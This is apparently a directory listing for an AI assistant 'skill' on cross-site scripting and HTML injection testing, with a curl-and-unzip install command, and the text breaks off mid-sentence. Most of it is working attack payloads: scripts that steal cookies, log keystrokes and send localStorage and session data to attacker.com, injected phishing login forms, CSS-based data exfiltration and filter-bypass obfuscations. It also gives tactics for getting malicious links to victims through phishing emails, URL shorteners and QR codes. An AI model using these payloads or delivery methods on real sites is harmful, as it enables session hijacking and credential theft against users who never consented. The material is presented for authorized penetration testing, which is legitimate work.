cross-site-scripting-and-html-injection-testing
This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
Install
mkdir -p .claude/skills/cross-site-scripting-and-html-injection-testing && curl -L -o skill.zip "https://mcp.directory/api/skills/download/1466" && unzip -o skill.zip -d .claude/skills/cross-site-scripting-and-html-injection-testing && rm skill.zipInstalls to .claude/skills/cross-site-scripting-and-html-injection-testing
About this skill
Cross-Site Scripting and HTML Injection Testing
Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Inputs / Prerequisites
Required Access
- Target web application URL with user input fields
- Burp Suite or browser developer tools for request analysis
- Access to create test accounts for stored XSS testing
- Browser with JavaScript console enabled
Technical Requirements
- Understanding of JavaScript execution in browser context
- Knowledge of HTML DOM structure and manipulation
- Familiarity with HTTP request/response headers
- Understanding of cookie attributes and session management
Legal Prerequisites
- Written authorization for security testing
- Defined scope including target domains and features
- Agreement on handling of any captured session data
- Incident response procedures established
Outputs / Deliverables
- XSS/HTMLi vulnerability report with severity classifications
- Proof-of-concept payloads demonstrating impact
- Session hijacking demonstrations (controlled environment)
- Remediation recommendations with CSP configurations
Core Workflow
Phase 1: Vulnerability Detection
Identify Input Reflection Points
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Basic Detection Testing
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>
Monitor for:
- Raw HTML reflection without encoding
- Partial encoding (some characters escaped)
- JavaScript execution in browser console
- DOM modifications visible in inspector
Determine XSS Type
Stored XSS Indicators:
- Input persists after page refresh
- Other users see injected content
- Content stored in database/filesystem
Reflected XSS Indicators:
- Input appears only in current response
- Requires victim to click crafted URL
- No persistence across sessions
DOM-Based XSS Indicators:
- Input processed by client-side JavaScript
- Server response doesn't contain payload
- Exploitation occurs entirely in browser
Phase 2: Stored XSS Exploitation
Identify Storage Locations
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
Craft Persistent Payloads
<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
Phase 3: Reflected XSS Exploitation
Construct Malicious URLs
Build URLs containing XSS payloads:
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
Delivery Methods
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
Phase 4: DOM-Based XSS Exploitation
Identify Vulnerable Sinks
Locate JavaScript functions that process user input:
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
Identify Sources
Locate where user-controlled data enters the application:
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
DOM XSS Payloads
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
Phase 5: HTML Injection Techniques
Reflected HTML Injection
Modify page appearance without JavaScript:
<!-- Content injection -->
<h1>SITE HACKED</h1>
<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
Stored HTML Injection
Persistent content manipulation:
<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>
<!-- Style override -->
<style>body{background:red !important;}</style>
<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
Phase 6: Filter Bypass Techniques
Tag and Attribute Variations
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
Encoding Bypass
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<!-- Hex encoding -->
<img src=x onerror=alert(1)>
<!-- Unicode encoding -->
<script>\u0061lert(1)</script>
<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>
JavaScript Obfuscation
// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert`1`</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
Whitespace and Comment Bypass
<!-- Tab/newline insertion -->
<img src=x onerror
=alert(1)>
<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>
<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->
Quick Reference
XSS Detection Checklist
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
Common XSS Payloads
| Context | Payload |
|---|---|
| HTML body | <script>alert(1)</script> |
| HTML attribute | "><script>alert(1)</script> |
| JavaScript string | ';alert(1)// |
| JavaScript template | ${alert(1)} |
| URL attribute | javascript:alert(1) |
| CSS context | </style><script>alert(1)</script> |
| SVG context | <svg onload=alert(1)> |
Cookie Theft Payload
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
Session Hijacking Template
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
Constraints and Guardrails
Operational Boundaries
- Never inject payloads that could damage production systems
- Limit cookie/session capture to demonstration purposes only
- Avoid payloads that could spread to unintended users (worm behavior)
- Do not exfiltrate real user data beyond scope requirements
Technical Limitations
- Content Security Policy (CSP) may block inline scripts
- HttpOnly cookies prevent JavaScript access
- SameSite cookie attributes limit cross-origin attacks
- Modern frameworks often auto-escape outputs
Legal and Ethical Requirements
- Written auth
Content truncated.
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